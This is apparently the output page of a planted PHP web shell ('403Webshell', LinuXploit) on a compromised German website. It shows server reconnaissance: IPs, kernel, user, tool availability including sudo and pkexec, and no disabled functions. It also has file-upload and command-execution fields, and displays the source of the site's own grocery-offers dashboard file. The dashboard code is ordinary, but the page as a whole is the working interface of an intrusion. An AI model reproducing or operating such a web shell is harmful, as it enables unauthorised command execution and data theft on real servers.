403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/arni-solutions.de/web/offers/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/arni-solutions.de/web/offers/public/index.php
<?php
declare(strict_types=1);
require_once __DIR__ . '/../app/config/database.php';
require_once __DIR__ . '/../app/includes/functions.php';
require_once __DIR__ . '/../app/includes/auth.php';

require_login();

$pdo = db();
$userId = current_user_id();

$today = (int)$pdo->query("SELECT COUNT(*) FROM offers WHERE DATE(created_at) = CURDATE()")->fetchColumn();

$stmt = $pdo->prepare("SELECT COUNT(DISTINCT offer_id) FROM offer_matches WHERE user_id = :user_id");
$stmt->execute(['user_id' => $userId]);
$matches = (int)$stmt->fetchColumn();

$stmt = $pdo->prepare("SELECT COUNT(*) FROM favorites WHERE user_id = :user_id");
$stmt->execute(['user_id' => $userId]);
$favorites = (int)$stmt->fetchColumn();

$stores = (int)$pdo->query("SELECT COUNT(*) FROM stores WHERE is_active = 1")->fetchColumn();

$stmt = $pdo->prepare('
    SELECT o.*, s.name AS store_name, GROUP_CONCAT(DISTINCT om.matched_keyword ORDER BY om.matched_keyword SEPARATOR ", ") AS matched_keywords
    FROM offer_matches om
    INNER JOIN offers o ON o.id = om.offer_id
    LEFT JOIN stores s ON s.id = o.store_id
    WHERE om.user_id = :user_id
    GROUP BY o.id
    ORDER BY o.created_at DESC
    LIMIT 12
');
$stmt->execute(['user_id' => $userId]);
$offers = $stmt->fetchAll();

require_once __DIR__ . '/../app/templates/header.php';
?>
<div class="row mb-4">
    <div class="col-md-3 mb-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Heute neu</div><div class="display-4"><?= e((string)$today) ?></div></div></div></div>
    <div class="col-md-3 mb-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Treffer</div><div class="display-4"><?= e((string)$matches) ?></div></div></div></div>
    <div class="col-md-3 mb-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Märkte</div><div class="display-4"><?= e((string)$stores) ?></div></div></div></div>
    <div class="col-md-3 mb-3"><div class="card shadow-sm"><div class="card-body"><div class="text-muted small">Favoriten</div><div class="display-4"><?= e((string)$favorites) ?></div></div></div></div>
</div>

<div class="card shadow-sm">
    <div class="card-header bg-white"><strong>Letzte passende Angebote</strong></div>
    <div class="card-body">
        <?php if (!$offers): ?>
            <p class="mb-0 text-muted">Noch keine Treffer. Lege Keywords an und füge Angebote im Adminbereich hinzu.</p>
        <?php else: ?>
            <div class="row">
            <?php foreach ($offers as $offer): ?>
                <div class="col-md-6 col-xl-4 mb-3">
                    <div class="card offer-card h-100 shadow-sm">
                        <?php if (!empty($offer['image_url'])): ?><img src="<?= e($offer['image_url']) ?>" alt=""><?php endif; ?>
                        <div class="card-body">
                            <h5><?= e($offer['title']) ?></h5>
                            <div class="small text-muted mb-2"><?= e($offer['store_name'] ?: 'ohne Markt') ?> · <?= e($offer['location'] ?: 'Rostock') ?></div>
                            <div class="h5 mb-2"><?= e(format_price($offer['price'])) ?></div>
                            <p class="small text-muted">Treffer: <?= e($offer['matched_keywords'] ?: '-') ?></p>
                            <?php if (!empty($offer['offer_url'])): ?><a class="btn btn-outline-primary btn-sm" target="_blank" rel="noopener" href="<?= e($offer['offer_url']) ?>">Quelle</a><?php endif; ?>
                        </div>
                    </div>
                </div>
            <?php endforeach; ?>
            </div>
        <?php endif; ?>
    </div>
</div>
<?php require_once __DIR__ . '/../app/templates/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit